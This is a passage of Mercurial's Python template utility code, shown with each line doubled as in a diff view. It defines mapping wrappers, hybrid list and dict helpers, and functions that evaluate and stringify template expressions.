465 {
466 k: unwrapvalue(context, lm, v)
466 k: unwrapvalue(context, lm, v)
467 for k, v in pycompat.iteritems(nm)
467 for k, v in pycompat.iteritems(nm)
468 if k not in knownres
468 if k not in knownres
469 }
469 }
470 )
470 )
471 return items
471 return items
472
472
473
473
474 class mappinggenerator(_mappingsequence):
474 class mappinggenerator(_mappingsequence):
475 """Wrapper for generator of template mappings
475 """Wrapper for generator of template mappings
476
476
477 The function ``make(context, *args)`` should return a generator of
477 The function ``make(context, *args)`` should return a generator of
478 mapping dicts.
478 mapping dicts.
479 """
479 """
480
480
481 def __init__(self, make, args=(), name=None, tmpl=None, sep=b''):
481 def __init__(self, make, args=(), name=None, tmpl=None, sep=b''):
482 super(mappinggenerator, self).__init__(name, tmpl, sep)
482 super(mappinggenerator, self).__init__(name, tmpl, sep)
483 self._make = make
483 self._make = make
484 self._args = args
484 self._args = args
485
485
486 def itermaps(self, context):
486 def itermaps(self, context):
487 return self._make(context, *self._args)
487 return self._make(context, *self._args)
488
488
489 def tobool(self, context, mapping):
489 def tobool(self, context, mapping):
490 return _nonempty(self.itermaps(context))
490 return _nonempty(self.itermaps(context))
491
491
492
492
493 class mappinglist(_mappingsequence):
493 class mappinglist(_mappingsequence):
494 """Wrapper for list of template mappings"""
494 """Wrapper for list of template mappings"""
495
495
496 def __init__(self, mappings, name=None, tmpl=None, sep=b''):
496 def __init__(self, mappings, name=None, tmpl=None, sep=b''):
497 super(mappinglist, self).__init__(name, tmpl, sep)
497 super(mappinglist, self).__init__(name, tmpl, sep)
498 self._mappings = mappings
498 self._mappings = mappings
499
499
500 def itermaps(self, context):
500 def itermaps(self, context):
501 return iter(self._mappings)
501 return iter(self._mappings)
502
502
503 def tobool(self, context, mapping):
503 def tobool(self, context, mapping):
504 return bool(self._mappings)
504 return bool(self._mappings)
505
505
506
506
507 class mappingdict(mappable, _mappingsequence):
507 class mappingdict(mappable, _mappingsequence):
508 """Wrapper for a single template mapping
508 """Wrapper for a single template mapping
509
509
510 This isn't a sequence in a way that the underlying dict won't be iterated
510 This isn't a sequence in a way that the underlying dict won't be iterated
511 as a dict, but shares most of the _mappingsequence functions.
511 as a dict, but shares most of the _mappingsequence functions.
512 """
512 """
513
513
514 def __init__(self, mapping, name=None, tmpl=None):
514 def __init__(self, mapping, name=None, tmpl=None):
515 super(mappingdict, self).__init__(name, tmpl)
515 super(mappingdict, self).__init__(name, tmpl)
516 self._mapping = mapping
516 self._mapping = mapping
517
517
518 def tomap(self, context):
518 def tomap(self, context):
519 return self._mapping
519 return self._mapping
520
520
521 def tobool(self, context, mapping):
521 def tobool(self, context, mapping):
522 # no idea when a template mapping should be considered an empty, but
522 # no idea when a template mapping should be considered an empty, but
523 # a mapping dict should have at least one item in practice, so always
523 # a mapping dict should have at least one item in practice, so always
524 # mark this as non-empty.
524 # mark this as non-empty.
525 return True
525 return True
526
526
527 def tovalue(self, context, mapping):
527 def tovalue(self, context, mapping):
528 return super(mappingdict, self).tovalue(context, mapping)[0]
528 return super(mappingdict, self).tovalue(context, mapping)[0]
529
529
530
530
531 class mappingnone(wrappedvalue):
531 class mappingnone(wrappedvalue):
532 """Wrapper for None, but supports map operation
532 """Wrapper for None, but supports map operation
533
533
534 This represents None of Optional[mappable]. It's similar to
534 This represents None of Optional[mappable]. It's similar to
535 mapplinglist([]), but the underlying value is not [], but None.
535 mapplinglist([]), but the underlying value is not [], but None.
536 """
536 """
537
537
538 def __init__(self):
538 def __init__(self):
539 super(mappingnone, self).__init__(None)
539 super(mappingnone, self).__init__(None)
540
540
541 def itermaps(self, context):
541 def itermaps(self, context):
542 return iter([])
542 return iter([])
543
543
544
544
545 class mappedgenerator(wrapped):
545 class mappedgenerator(wrapped):
546 """Wrapper for generator of strings which acts as a list
546 """Wrapper for generator of strings which acts as a list
547
547
548 The function ``make(context, *args)`` should return a generator of
548 The function ``make(context, *args)`` should return a generator of
549 byte strings, or a generator of (possibly nested) generators of byte
549 byte strings, or a generator of (possibly nested) generators of byte
550 strings (i.e. a generator for a list of byte strings.)
550 strings (i.e. a generator for a list of byte strings.)
551 """
551 """
552
552
553 def __init__(self, make, args=()):
553 def __init__(self, make, args=()):
554 self._make = make
554 self._make = make
555 self._args = args
555 self._args = args
556
556
557 def contains(self, context, mapping, item):
557 def contains(self, context, mapping, item):
558 item = stringify(context, mapping, item)
558 item = stringify(context, mapping, item)
559 return item in self.tovalue(context, mapping)
559 return item in self.tovalue(context, mapping)
560
560
561 def _gen(self, context):
561 def _gen(self, context):
562 return self._make(context, *self._args)
562 return self._make(context, *self._args)
563
563
564 def getmember(self, context, mapping, key):
564 def getmember(self, context, mapping, key):
565 raise error.ParseError(_(b'not a dictionary'))
565 raise error.ParseError(_(b'not a dictionary'))
566
566
567 def getmin(self, context, mapping):
567 def getmin(self, context, mapping):
568 return self._getby(context, mapping, min)
568 return self._getby(context, mapping, min)
569
569
570 def getmax(self, context, mapping):
570 def getmax(self, context, mapping):
571 return self._getby(context, mapping, max)
571 return self._getby(context, mapping, max)
572
572
573 def _getby(self, context, mapping, func):
573 def _getby(self, context, mapping, func):
574 xs = self.tovalue(context, mapping)
574 xs = self.tovalue(context, mapping)
575 if not xs:
575 if not xs:
576 raise error.ParseError(_(b'empty sequence'))
576 raise error.ParseError(_(b'empty sequence'))
577 return func(xs)
577 return func(xs)
578
578
579 @staticmethod
579 @staticmethod
580 def _filteredgen(context, mapping, make, args, select):
580 def _filteredgen(context, mapping, make, args, select):
581 for x in make(context, *args):
581 for x in make(context, *args):
582 s = stringify(context, mapping, x)
582 s = stringify(context, mapping, x)
583 if select(wrappedbytes(s)):
583 if select(wrappedbytes(s)):
584 yield s
584 yield s
585
585
586 def filter(self, context, mapping, select):
586 def filter(self, context, mapping, select):
587 args = (mapping, self._make, self._args, select)
587 args = (mapping, self._make, self._args, select)
588 return mappedgenerator(self._filteredgen, args)
588 return mappedgenerator(self._filteredgen, args)
589
589
590 def itermaps(self, context):
590 def itermaps(self, context):
591 raise error.ParseError(_(b'list of strings is not mappable'))
591 raise error.ParseError(_(b'list of strings is not mappable'))
592
592
593 def join(self, context, mapping, sep):
593 def join(self, context, mapping, sep):
594 return joinitems(self._gen(context), sep)
594 return joinitems(self._gen(context), sep)
595
595
596 def show(self, context, mapping):
596 def show(self, context, mapping):
597 return self.join(context, mapping, b'')
597 return self.join(context, mapping, b'')
598
598
599 def tobool(self, context, mapping):
599 def tobool(self, context, mapping):
600 return _nonempty(self._gen(context))
600 return _nonempty(self._gen(context))
601
601
602 def tovalue(self, context, mapping):
602 def tovalue(self, context, mapping):
603 return [stringify(context, mapping, x) for x in self._gen(context)]
603 return [stringify(context, mapping, x) for x in self._gen(context)]
604
604
605
605
606 def hybriddict(data, key=b'key', value=b'value', fmt=None, gen=None):
606 def hybriddict(data, key=b'key', value=b'value', fmt=None, gen=None):
607 """Wrap data to support both dict-like and string-like operations"""
607 """Wrap data to support both dict-like and string-like operations"""
608 prefmt = pycompat.identity
608 prefmt = pycompat.identity
609 if fmt is None:
609 if fmt is None:
610 fmt = b'%s=%s'
610 fmt = b'%s=%s'
611 prefmt = pycompat.bytestr
611 prefmt = pycompat.bytestr
612 return hybrid(
612 return hybrid(
613 gen,
613 gen,
614 data,
614 data,
615 lambda k: {key: k, value: data[k]},
615 lambda k: {key: k, value: data[k]},
616 lambda k: fmt % (prefmt(k), prefmt(data[k])),
616 lambda k: fmt % (prefmt(k), prefmt(data[k])),
617 )
617 )
618
618
619
619
620 def hybridlist(data, name, fmt=None, gen=None):
620 def hybridlist(data, name, fmt=None, gen=None):
621 """Wrap data to support both list-like and string-like operations"""
621 """Wrap data to support both list-like and string-like operations"""
622 prefmt = pycompat.identity
622 prefmt = pycompat.identity
623 if fmt is None:
623 if fmt is None:
624 fmt = b'%s'
624 fmt = b'%s'
625 prefmt = pycompat.bytestr
625 prefmt = pycompat.bytestr
626 return hybrid(gen, data, lambda x: {name: x}, lambda x: fmt % prefmt(x))
626 return hybrid(gen, data, lambda x: {name: x}, lambda x: fmt % prefmt(x))
627
627
628
628
629 def compatdict(
629 def compatdict(
630 context,
630 context,
631 mapping,
631 mapping,
632 name,
632 name,
633 data,
633 data,
634 key=b'key',
634 key=b'key',
635 value=b'value',
635 value=b'value',
636 fmt=None,
636 fmt=None,
637 plural=None,
637 plural=None,
638 separator=b' ',
638 separator=b' ',
639 ):
639 ):
640 """Wrap data like hybriddict(), but also supports old-style list template
640 """Wrap data like hybriddict(), but also supports old-style list template
641
641
642 This exists for backward compatibility with the old-style template. Use
642 This exists for backward compatibility with the old-style template. Use
643 hybriddict() for new template keywords.
643 hybriddict() for new template keywords.
644 """
644 """
645 c = [{key: k, value: v} for k, v in pycompat.iteritems(data)]
645 c = [{key: k, value: v} for k, v in pycompat.iteritems(data)]
646 f = _showcompatlist(context, mapping, name, c, plural, separator)
646 f = _showcompatlist(context, mapping, name, c, plural, separator)
647 return hybriddict(data, key=key, value=value, fmt=fmt, gen=f)
647 return hybriddict(data, key=key, value=value, fmt=fmt, gen=f)
648
648
649
649
650 def compatlist(
650 def compatlist(
651 context,
651 context,
652 mapping,
652 mapping,
653 name,
653 name,
654 data,
654 data,
655 element=None,
655 element=None,
656 fmt=None,
656 fmt=None,
657 plural=None,
657 plural=None,
658 separator=b' ',
658 separator=b' ',
659 ):
659 ):
660 """Wrap data like hybridlist(), but also supports old-style list template
660 """Wrap data like hybridlist(), but also supports old-style list template
661
661
662 This exists for backward compatibility with the old-style template. Use
662 This exists for backward compatibility with the old-style template. Use
663 hybridlist() for new template keywords.
663 hybridlist() for new template keywords.
664 """
664 """
665 f = _showcompatlist(context, mapping, name, data, plural, separator)
665 f = _showcompatlist(context, mapping, name, data, plural, separator)
666 return hybridlist(data, name=element or name, fmt=fmt, gen=f)
666 return hybridlist(data, name=element or name, fmt=fmt, gen=f)
667
667
668
668
669 def compatfilecopiesdict(context, mapping, name, copies):
669 def compatfilecopiesdict(context, mapping, name, copies):
670 """Wrap list of (dest, source) file names to support old-style list
670 """Wrap list of (dest, source) file names to support old-style list
671 template and field names
671 template and field names
672
672
673 This exists for backward compatibility. Use hybriddict for new template
673 This exists for backward compatibility. Use hybriddict for new template
674 keywords.
674 keywords.
675 """
675 """
676 # no need to provide {path} to old-style list template
676 # no need to provide {path} to old-style list template
677 c = [{b'name': k, b'source': v} for k, v in copies]
677 c = [{b'name': k, b'source': v} for k, v in copies]
678 f = _showcompatlist(context, mapping, name, c, plural=b'file_copies')
678 f = _showcompatlist(context, mapping, name, c, plural=b'file_copies')
679 copies = util.sortdict(copies)
679 copies = util.sortdict(copies)
680 return hybrid(
680 return hybrid(
681 f,
681 f,
682 copies,
682 copies,
683 lambda k: {b'name': k, b'path': k, b'source': copies[k]},
683 lambda k: {b'name': k, b'path': k, b'source': copies[k]},
684 lambda k: b'%s (%s)' % (k, copies[k]),
684 lambda k: b'%s (%s)' % (k, copies[k]),
685 )
685 )
686
686
687
687
688 def compatfileslist(context, mapping, name, files):
688 def compatfileslist(context, mapping, name, files):
689 """Wrap list of file names to support old-style list template and field
689 """Wrap list of file names to support old-style list template and field
690 names
690 names
691
691
692 This exists for backward compatibility. Use hybridlist for new template
692 This exists for backward compatibility. Use hybridlist for new template
693 keywords.
693 keywords.
694 """
694 """
695 f = _showcompatlist(context, mapping, name, files)
695 f = _showcompatlist(context, mapping, name, files)
696 return hybrid(
696 return hybrid(
697 f, files, lambda x: {b'file': x, b'path': x}, pycompat.identity
697 f, files, lambda x: {b'file': x, b'path': x}, pycompat.identity
698 )
698 )
699
699
700
700
701 def _showcompatlist(
701 def _showcompatlist(
702 context, mapping, name, values, plural=None, separator=b' '
702 context, mapping, name, values, plural=None, separator=b' '
703 ):
703 ):
704 """Return a generator that renders old-style list template
704 """Return a generator that renders old-style list template
705
705
706 name is name of key in template map.
706 name is name of key in template map.
707 values is list of strings or dicts.
707 values is list of strings or dicts.
708 plural is plural of name, if not simply name + 's'.
708 plural is plural of name, if not simply name + 's'.
709 separator is used to join values as a string
709 separator is used to join values as a string
710
710
711 expansion works like this, given name 'foo'.
711 expansion works like this, given name 'foo'.
712
712
713 if values is empty, expand 'no_foos'.
713 if values is empty, expand 'no_foos'.
714
714
715 if 'foo' not in template map, return values as a string,
715 if 'foo' not in template map, return values as a string,
716 joined by 'separator'.
716 joined by 'separator'.
717
717
718 expand 'start_foos'.
718 expand 'start_foos'.
719
719
720 for each value, expand 'foo'. if 'last_foo' in template
720 for each value, expand 'foo'. if 'last_foo' in template
721 map, expand it instead of 'foo' for last key.
721 map, expand it instead of 'foo' for last key.
722
722
723 expand 'end_foos'.
723 expand 'end_foos'.
724 """
724 """
725 if not plural:
725 if not plural:
726 plural = name + b's'
726 plural = name + b's'
727 if not values:
727 if not values:
728 noname = b'no_' + plural
728 noname = b'no_' + plural
729 if context.preload(noname):
729 if context.preload(noname):
730 yield context.process(noname, mapping)
730 yield context.process(noname, mapping)
731 return
731 return
732 if not context.preload(name):
732 if not context.preload(name):
733 if isinstance(values[0], bytes):
733 if isinstance(values[0], bytes):
734 yield separator.join(values)
734 yield separator.join(values)
735 else:
735 else:
736 for v in values:
736 for v in values:
737 r = dict(v)
737 r = dict(v)
738 r.update(mapping)
738 r.update(mapping)
739 yield r
739 yield r
740 return
740 return
741 startname = b'start_' + plural
741 startname = b'start_' + plural
742 if context.preload(startname):
742 if context.preload(startname):
743 yield context.process(startname, mapping)
743 yield context.process(startname, mapping)
744
744
745 def one(v, tag=name):
745 def one(v, tag=name):
746 vmapping = {}
746 vmapping = {}
747 try:
747 try:
748 vmapping.update(v)
748 vmapping.update(v)
749 # Python 2 raises ValueError if the type of v is wrong. Python
749 # Python 2 raises ValueError if the type of v is wrong. Python
750 # 3 raises TypeError.
750 # 3 raises TypeError.
751 except (AttributeError, TypeError, ValueError):
751 except (AttributeError, TypeError, ValueError):
752 try:
752 try:
753 # Python 2 raises ValueError trying to destructure an e.g.
753 # Python 2 raises ValueError trying to destructure an e.g.
754 # bytes. Python 3 raises TypeError.
754 # bytes. Python 3 raises TypeError.
755 for a, b in v:
755 for a, b in v:
756 vmapping[a] = b
756 vmapping[a] = b
757 except (TypeError, ValueError):
757 except (TypeError, ValueError):
758 vmapping[name] = v
758 vmapping[name] = v
759 vmapping = context.overlaymap(mapping, vmapping)
759 vmapping = context.overlaymap(mapping, vmapping)
760 return context.process(tag, vmapping)
760 return context.process(tag, vmapping)
761
761
762 lastname = b'last_' + name
762 lastname = b'last_' + name
763 if context.preload(lastname):
763 if context.preload(lastname):
764 last = values.pop()
764 last = values.pop()
765 else:
765 else:
766 last = None
766 last = None
767 for v in values:
767 for v in values:
768 yield one(v)
768 yield one(v)
769 if last is not None:
769 if last is not None:
770 yield one(last, tag=lastname)
770 yield one(last, tag=lastname)
771 endname = b'end_' + plural
771 endname = b'end_' + plural
772 if context.preload(endname):
772 if context.preload(endname):
773 yield context.process(endname, mapping)
773 yield context.process(endname, mapping)
774
774
775
775
776 def flatten(context, mapping, thing):
776 def flatten(context, mapping, thing):
777 """Yield a single stream from a possibly nested set of iterators"""
777 """Yield a single stream from a possibly nested set of iterators"""
778 if isinstance(thing, wrapped):
778 if isinstance(thing, wrapped):
779 thing = thing.show(context, mapping)
779 thing = thing.show(context, mapping)
780 if isinstance(thing, bytes):
780 if isinstance(thing, bytes):
781 yield thing
781 yield thing
782 elif isinstance(thing, str):
782 elif isinstance(thing, str):
783 # We can only hit this on Python 3, and it's here to guard
783 # We can only hit this on Python 3, and it's here to guard
784 # against infinite recursion.
784 # against infinite recursion.
785 raise error.ProgrammingError(
785 raise error.ProgrammingError(
786 b'Mercurial IO including templates is done'
786 b'Mercurial IO including templates is done'
787 b' with bytes, not strings, got %r' % thing
787 b' with bytes, not strings, got %r' % thing
788 )
788 )
789 elif thing is None:
789 elif thing is None:
790 pass
790 pass
791 elif not util.safehasattr(thing, b'__iter__'):
791 elif not util.safehasattr(thing, b'__iter__'):
792 yield pycompat.bytestr(thing)
792 yield pycompat.bytestr(thing)
793 else:
793 else:
794 for i in thing:
794 for i in thing:
795 if isinstance(i, wrapped):
795 if isinstance(i, wrapped):
796 i = i.show(context, mapping)
796 i = i.show(context, mapping)
797 if isinstance(i, bytes):
797 if isinstance(i, bytes):
798 yield i
798 yield i
799 elif i is None:
799 elif i is None:
800 pass
800 pass
801 elif not util.safehasattr(i, b'__iter__'):
801 elif not util.safehasattr(i, b'__iter__'):
802 yield pycompat.bytestr(i)
802 yield pycompat.bytestr(i)
803 else:
803 else:
804 for j in flatten(context, mapping, i):
804 for j in flatten(context, mapping, i):
805 yield j
805 yield j
806
806
807
807
808 def stringify(context, mapping, thing):
808 def stringify(context, mapping, thing):
809 """Turn values into bytes by converting into text and concatenating them"""
809 """Turn values into bytes by converting into text and concatenating them"""
810 if isinstance(thing, bytes):
810 if isinstance(thing, bytes):
811 return thing # retain localstr to be round-tripped
811 return thing # retain localstr to be round-tripped
812 return b''.join(flatten(context, mapping, thing))
812 return b''.join(flatten(context, mapping, thing))
813
813
814
814
815 def findsymbolicname(arg):
815 def findsymbolicname(arg):
816 """Find symbolic name for the given compiled expression; returns None
816 """Find symbolic name for the given compiled expression; returns None
817 if nothing found reliably"""
817 if nothing found reliably"""
818 while True:
818 while True:
819 func, data = arg
819 func, data = arg
820 if func is runsymbol:
820 if func is runsymbol:
821 return data
821 return data
822 elif func is runfilter:
822 elif func is runfilter:
823 arg = data[0]
823 arg = data[0]
824 else:
824 else:
825 return None
825 return None
826
826
827
827
828 def _nonempty(xiter):
828 def _nonempty(xiter):
829 try:
829 try:
830 next(xiter)
830 next(xiter)
831 return True
831 return True
832 except StopIteration:
832 except StopIteration:
833 return False
833 return False
834
834
835
835
836 def _unthunk(context, mapping, thing):
836 def _unthunk(context, mapping, thing):
837 """Evaluate a lazy byte string into value"""
837 """Evaluate a lazy byte string into value"""
838 if not isinstance(thing, types.GeneratorType):
838 if not isinstance(thing, types.GeneratorType):
839 return thing
839 return thing
840 return stringify(context, mapping, thing)
840 return stringify(context, mapping, thing)
841
841
842
842
843 def evalrawexp(context, mapping, arg):
843 def evalrawexp(context, mapping, arg):
844 """Evaluate given argument as a bare template object which may require
844 """Evaluate given argument as a bare template object which may require
845 further processing (such as folding generator of strings)"""
845 further processing (such as folding generator of strings)"""
846 func, data = arg
846 func, data = arg
847 return func(context, mapping, data)
847 return func(context, mapping, data)
848
848
849
849
850 def evalwrapped(context, mapping, arg):
850 def evalwrapped(context, mapping, arg):
851 """Evaluate given argument to wrapped object"""
851 """Evaluate given argument to wrapped object"""
852 thing = evalrawexp(context, mapping, arg)
852 thing = evalrawexp(context, mapping, arg)
853 return makewrapped(context, mapping, thing)
853 return makewrapped(context, mapping, thing)
854
854
855
855
856 def makewrapped(context, mapping, thing):
856 def makewrapped(context, mapping, thing):
857 """Lift object to a wrapped type"""
857 """Lift object to a wrapped type"""
858 if isinstance(thing, wrapped):
858 if isinstance(thing, wrapped):
859 return thing
859 return thing
860 thing = _unthunk(context, mapping, thing)
860 thing = _unthunk(context, mapping, thing)
861 if isinstance(thing, bytes):
861 if isinstance(thing, bytes):
862 return wrappedbytes(thing)
862 return wrappedbytes(thing)
863 return wrappedvalue(thing)
863 return wrappedvalue(thing)
864
864
865
865
866 def evalfuncarg(context, mapping, arg):
866 def evalfuncarg(context, mapping, arg):
867 """Evaluate given argument as value type"""
867 """Evaluate given argument as value type"""
868 return unwrapvalue(context, mapping, evalrawexp(context, mapping, arg))
868 return unwrapvalue(context, mapping, evalrawexp(context, mapping, arg))
869
869
870
870
871 def unwrapvalue(context, mapping, thing):
871 def unwrapvalue(context, mapping, thing):
872 """Move the inner value object out of the wrapper"""
872 """Move the inner value object out of the wrapper"""
873 if isinstance(thing, wrapped):
873 if isinstance(thing, wrapped):
874 return thing.tovalue(context, mapping)
874 return thing.tovalue(context, mapping)
875 # evalrawexp() may return string, generator of strings or arbitrary object
875 # evalrawexp() may return string, generator of strings or arbitrary object
876 # such as date tuple, but filter does not want generator.
876 # such as date tuple, but filter does not want generator.
877 return _unthunk(context, mapping, thing)
877 return _unthunk(context, mapping, thing)
878
878
879
879
880 def evalboolean(context, mapping, arg):
880 def evalboolean(context, mapping, arg):
881 """Evaluate given argument as boolean, but also takes boolean literals"""
881 """Evaluate given argument as boolean, but also takes boolean literals"""
882 func, data = arg
882 func, data = arg
883 if func is runsymbol:
883 if func is runsymbol:
884 thing = func(context, mapping, data, default=None)
884 thing = func(context, mapping, data, default=None)
885 if thing is None:
885 if thing is None:
886 # not a template keyword, takes as a boolean literal
886 # not a template keyword, takes as a boolean literal
887 thing = stringutil.parsebool(data)
887 thing = stringutil.parsebool(data)
888 else:
888 else:
889 thing = func(context, mapping, data)
889 thing = func(context, mapping, data)
890 return makewrapped(context, mapping, thing).tobool(context, mapping)
890 return makewrapped(context, mapping, thing).tobool(context, mapping)
891
891
892
892
893 def evaldate(context, mapping, arg, err=None):
893 def evaldate(context, mapping, arg, err=None):
894 """Evaluate given argument as a date tuple or a date string; returns
894 """Evaluate given argument as a date tuple or a date string; returns
895 a (unixtime, offset) tuple"""
895 a (unixtime, offset) tuple"""
896 thing = evalrawexp(context, mapping, arg)
896 thing = evalrawexp(context, mapping, arg)
897 return unwrapdate(context, mapping, thing, err)
897 return unwrapdate(context, mapping, thing, err)
898
898
899
899
900 def unwrapdate(context, mapping, thing, err=None):
900 def unwrapdate(context, mapping, thing, err=None):
901 if isinstance(thing, date):
901 if isinstance(thing, date):
902 return thing.tovalue(context, mapping)
902 return thing.tovalue(context, mapping)
903 # TODO: update hgweb to not return bare tuple; then just stringify 'thing'
903 # TODO: update hgweb to not return bare tuple; then just stringify 'thing'
904 thing = unwrapvalue(context, mapping, thing)
904 thing = unwrapvalue(context, mapping, thing)
905 try:
905 try:
906 return dateutil.parsedate(thing)
906 return dateutil.parsedate(thing)
907 except AttributeError:
907 except AttributeError:
908 raise error.ParseError(err or _(b'not a date tuple nor a string'))
908 raise error.ParseError(err or _(b'not a date tuple nor a string'))
909 except error.ParseError:
909 except error.ParseError:
910 if not err:
910 if not err:
911 raise
911 raise
912 raise error.ParseError(err)
912 raise error.ParseError(err)
913
913
914
914
915 def evalinteger(context, mapping, arg, err=None):
915 def evalinteger(context, mapping, arg, err=None):
916 thing = evalrawexp(context, mapping, arg)
916 thing = evalrawexp(context, mapping, arg)
917 return unwrapinteger(context, mapping, thing, err)
917 return unwrapinteger(context, mapping, thing, err)
918
918
919
919
920 def unwrapinteger(context, mapping, thing, err=None):
920 def unwrapinteger(context, mapping, thing, err=None):
921 thing = unwrapvalue(context, mapping, thing)
921 thing = unwrapvalue(context, mapping, thing)
922 try:
922 try:
923 return int(thing)
923 return int(thing)
924 except (TypeError, ValueError):
924 except (TypeError, ValueError):
925 raise error.ParseError(err or _(b'not an integer'))
925 raise error.ParseError(err or _(b'not an integer'))
926
926
927
927
928 def evalstring(context, mapping, arg):
928 def evalstring(context, mapping, arg):
929 return stringify(context, mapping, evalrawexp(context, mapping, arg))
929 return stringify(context, mapping, evalrawexp(context, mapping, arg))
930
930
931
931
932 def evalstringliteral(context, mapping, arg):
932 def evalstringliteral(context, mapping, arg):
933 """Evaluate given argument as string template, but returns symbol name
933 """Evaluate given argument as string template, but returns symbol name
934 if it is unknown"""
934 if it is unknown"""
935 func, data = arg
935 func, data = arg
936 if func is runsymbol:
936 if func is runsymbol:
937 thing = func(context, mapping, data, default=data)
937 thing = func(context, mapping, data, default=data)
938 else:
938 else:
939 thing = func(context, mapping, data)
939 thing = func(context, mapping, data)
940 return stringify(context, mapping, thing)
940 return stringify(context, mapping, thing)
941
941
942
942
943 _unwrapfuncbytype = {
943 _unwrapfuncbytype = {
944 None: unwrapvalue,
944 None: unwrapvalue,
945 bytes: stringify,
945 bytes: stringify,
946 date: unwrapdate,
946 date: unwrapdate,
947 int: unwrapinteger,
947 int: unwrapinteger,
948 }
948 }
949
949
950
950
951 def unwrapastype(context, mapping, thing, typ):
951 def unwrapastype(context, mapping, thing, typ):
952 """Move the inner value object out of the wrapper and coerce its type"""
952 """Move the inner value object out of the wrapper and coerce its type"""
953 try:
953 try:
954 f = _unwrapfuncbytype[typ]
954 f = _unwrapfuncbytype[typ]
955 except KeyError:
955 except KeyError:
956 raise error.ProgrammingError(b'invalid type specified: %r' % typ)
956 raise error.ProgrammingError(b'invalid type specified: %r' % typ)
957 return f(context, mapping, thing)
957 return f(context, mapping, thing)
958
958
959
959
960 def runinteger(context, mapping, data):
960 def runinteger(context, mapping, data):
961 return int(data)
961 return int(data)
962
962
963
963
964 def runstring(context, mapping, data):
964 def runstring(context, mapping, data):
965 return data
965 return data
966
966
967
967
968 def _recursivesymbolblocker(key):
968 def _recursivesymbolblocker(key):
969 def showrecursion(context, mapping):
969 def showrecursion(context, mapping):
970 raise error.Abort(_(b"recursive reference '%s' in template") % key)
970 raise error.Abort(_(b"recursive reference '%s' in template") % key)
971
971
972 return showrecursion
972 return showrecursion
973
973
974
974
975 def runsymbol(context, mapping, key, default=b''):
975 def runsymbol(context, mapping, key, default=b''):
976 v = context.symbol(mapping, key)
976 v = context.symbol(mapping, key)
977 if v is None:
977 if v is None:
978 # put poison to cut recursion. we can't move this to parsing phase
978 # put poison to cut recursion. we can't move this to parsing phase
979 # because "x = {x}" is allowed if "x" is a keyword. (issue4758)
979 # because "x = {x}" is allowed if "x" is a keyword. (issue4758)
980 safemapping = mapping.copy()
980 safemapping = mapping.copy()
981 safemapping[key] = _recursivesymbolblocker(key)
981 safemapping[key] = _recursivesymbolblocker(key)
982 try:
982 try:
983 v = context.process(key, safemapping)
983 v = context.process(key, safemapping)
984 except TemplateNotFound:
984 except TemplateNotFound:
985 v = default
985 v = default
986 if callable(v):
986 if callable(v):
987 # new templatekw
987 # new templatekw
988 try:
988 try:
989 return v(context, mapping)
989 return v(context, mapping)
990 except ResourceUnavailable:
990 except ResourceUnavailable:
991 # unsupported keyword is mapped to empty just like unknown keyword
991 # unsupported keyword is mapped to empty just like unknown keyword
992 return None
992 return None
993 return v
993 return v
994
994
995
995
996 def runtemplate(context, mapping, template):
996 def runtemplate(context, mapping, template):
997 for arg in template:
997 for arg in template:
998 yield evalrawexp(context, mapping, arg)
998 yield evalrawexp(context, mapping, arg)
999
999
1000
1000
1001 def runfilter(context, mapping, data):
1001 def runfilter(context, mapping, data):
1002 arg, filt = data
1002 arg, filt = data
1003 thing = evalrawexp(context, mapping, arg)
1003 thing = evalrawexp(context, mapping, arg)
1004 intype = getattr(filt, '_intype', None)
1004 intype = getattr(filt, '_intype', None)
1005 try:
1005 try:
1006 thing = unwrapastype(context, mapping, thing, intype)
1006 thing = unwrapastype(context, mapping, thing, intype)
1007 return filt(thing)
1007 return filt(thing)
1008 except error.ParseError as e:
1008 except error.ParseError as e:
1009 raise error.ParseError(bytes(e), hint=_formatfiltererror(arg, filt))
1009 raise error.ParseError(bytes(e), hint=_formatfiltererror(arg, filt))
1010
1010
1011
1011
1012 def _formatfiltererror(arg, filt):
1012 def _formatfiltererror(arg, filt):
1013 fn = pycompat.sysbytes(filt.__name__)
1013 fn = pycompat.sysbytes(filt.__name__)
1014 sym = findsymbolicname(arg)
1014 sym = findsymbolicname(arg)
1015 if not sym:
1015 if not sym:
1016 return _(b"incompatible use of template filter '%s'") % fn
1016 return _(b"incompatible use of template filter '%s'") % fn
1017 return _(b"template filter '%s' is not compatible with keyword '%s'") % (
1017 return _(b"template filter '%s' is not compatible with keyword '%s'") % (
1018 fn,
1018 fn,
1019 sym,
1019 sym,
1020 )
1020 )
1021
1021
1022
1022
1023 def _iteroverlaymaps(context, origmapping, newmappings):
1023 def _iteroverlaymaps(context, origmapping, newmappings):
1024 """Generate combined mappings from the original mapping and an iterable
1024 """Generate combined mappings from the original mapping and an iterable
1025 of partial mappings to override the original"""
1025 of partial mappings to override the original"""
1026 for i, nm in enumerate(newmappings):
1026 for i, nm in enumerate(newmappings):
1027 lm = context.overlaymap(origmapping, nm)
1027 lm = context.overlaymap(origmapping, nm)
1028 lm[b'index'] = i
1028 lm[b'index'] = i
1029 yield lm
1029 yield lm
1030
1030
1031
1031
1032 def _applymap(context, mapping, d, darg, targ):
1032 def _applymap(context, mapping, d, darg, targ):
1033 try:
1033 try:
1034 diter = d.itermaps(context)
1034 diter = d.itermaps(context)
1035 except error.ParseError as err:
1035 except error.ParseError as err:
1036 sym = findsymbolicname(darg)
1036 sym = findsymbolicname(darg)
1037 if not sym:
1037 if not sym:
1038 raise
1038 raise
1039 hint = _(b"keyword '%s' does not support map operation") % sym
1039 hint = _(b"keyword '%s' does not support map operation") % sym
1040 raise error.ParseError(bytes(err), hint=hint)
1040 raise error.ParseError(bytes(err), hint=hint)
1041 for lm in _iteroverlaymaps(context, mapping, diter):
1041 for lm in _iteroverlaymaps(context, mapping, diter):
1042 yield evalrawexp(context, lm, targ)
1042 yield evalrawexp(context, lm, targ)
1043
1043
1044
1044
1045 def runmap(context, mapping, data):
1045 def runmap(context, mapping, data):
1046 darg, targ = data
1046 darg, targ = data
1047 d = evalwrapped(context, mapping, darg)
1047 d = evalwrapped(context, mapping, darg)
1048 return mappedgenerator(_applymap, args=(mapping, d, darg, targ))
1048 return mappedgenerator(_applymap, args=(mapping, d, darg, targ))
1049
1049
1050
1050
1051 def runmember(context, mapping, data):
1051 def runmember(context, mapping, data):
1052 darg, memb = data
1052 darg, memb = data
1053 d = evalwrapped(context, mapping, darg)
1053 d = evalwrapped(context, mapping, darg)
1054 if isinstance(d, mappable):
1054 if isinstance(d, mappable):
1055 lm = context.overlaymap(mapping, d.tomap(context))
1055 lm = context.overlaymap(mapping, d.tomap(context))
1056 return runsymbol(context, lm, memb)
